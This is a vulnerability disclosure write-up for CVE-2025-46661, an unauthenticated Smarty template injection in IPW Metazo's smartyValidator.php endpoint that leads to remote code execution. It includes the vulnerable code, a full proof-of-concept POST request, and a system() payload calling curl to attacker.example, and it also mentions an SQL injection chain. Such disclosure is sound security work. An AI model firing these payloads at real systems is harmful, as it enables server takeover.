[CVE-2025-46661] IPW Systems Metazo - Remote Code Execution via unauthenticated SSTI
IPW Systems Metazo
IPW Polaris and IPW Metazo are part of the IPW BasicBuilder Suite. The vendor describe their solution as:
IPW is management reporting, quality management, and production optimization all-in-one
The vendor is based in Denmark and hosts and manages Metazo instances themselves.
The Discovery
The vulnerability was discovered as a result of other vulnerabilities in this product. While I was testing an IPW Metazo and Polaris instance with two colleagues, we managed to hack our way into the product. An unauthenticated endpoint was already leaking sensitive user information. With the help of an unauthenticate SQL Injection vulnerability it was possible to retrieve session cookies from the database and therefore login as an administrative user.
After the authentication was bypassed it was possible to identify an authenticated Server-Side Template-Injection in a configuration setting about E-Mail templates. The product is using smarty
as a templating language. Inserting a template like the following already led to Remote Code Execution:
{system('curl+attacker.example/proof')}
Afterwards it was possible to spawn an interactive shell and to review the source code for further vulnerabilities.
The Vulnerability
And this is when I realised that there is a simple unauthenticated Remote Code Execution via Server-Side Template-Injection.
In the file smartyValidator.php
I was able to find the following code:
<?php
[...]
$request = getRequest();
// Load smarty and setup the validator
$smarty = getUserHandler()->getSmarty();
/* @see Smarty_Resource_Validator */
$smarty->setDefaultResourceType('validator');
$content = $request->request->get('content');
[...]
try {
// Try and fetch the data
$content = $smarty->fetch($content);
// If we got here, an exception wasn't thrown and we know it's a success
$success = true;
} catch (\Exception $e) {
$error = ['errormsg' => $e->getMessage()];
}
finish($success, $error);
[...]
As can be seen from the code above a request to /metazo/api/smartyValidator.php
will evaluate anything that is in the parameter content
in the request using smarty
exactly as the filename would suggest. And this route is unprotected 👍
Proof of Concept Exploit
A simple Proof-of-Concept request would look like this:
POST /metazo/api/smartyValidator.php HTTP/2
Host: vulnerable-host.example
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0ex
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
content={system('curl+attacker.example/proof')}
Disclosure Timeline
The vendor did respond immediately and fixed the RCE and all other vulnerabilities that we discovered on their hosted instances of Metazo.
- 2025-03-05: Discovered vulnerability and contacted vendor. Requested CVE from MITRE
- 2025-03-11: Vendor solved all issues including the RCE.
- 2025-04-28: CVE ID CVE-2025-46661 was assigned by MITRE. CVE was published.